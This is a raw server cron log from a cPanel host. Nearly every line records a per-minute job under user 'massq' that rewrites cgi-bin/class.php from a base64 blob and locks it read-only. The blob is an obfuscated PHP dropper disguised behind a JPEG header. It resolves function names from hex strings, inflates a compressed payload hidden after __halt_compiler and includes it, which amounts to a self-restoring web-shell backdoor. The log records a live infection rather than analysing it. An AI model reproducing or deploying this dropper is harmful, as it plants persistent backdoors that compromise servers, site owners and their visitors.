Nov 14 01:07:01 server CROND[1912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:08:01 server CROND[2784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:09:01 server CROND[3177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:09:01 server CROND[3178]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:10:01 server CROND[4002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:10:01 server CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:10:01 server CROND[4001]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:10:01 server CROND[4004]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 01:11:01 server CROND[4999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:12:01 server CROND[5791]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 01:12:01 server CROND[5793]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:13:01 server CROND[6701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:14:01 server CROND[7570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:15:01 server CROND[8426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:15:01 server CROND[8427]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:15:01 server CROND[8428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 01:16:01 server CROND[9567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:17:01 server CROND[10471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:18:01 server CROND[11380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:19:01 server CROND[12241]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 01:20:01 server CROND[13092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 01:20:01 server CROND[13093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
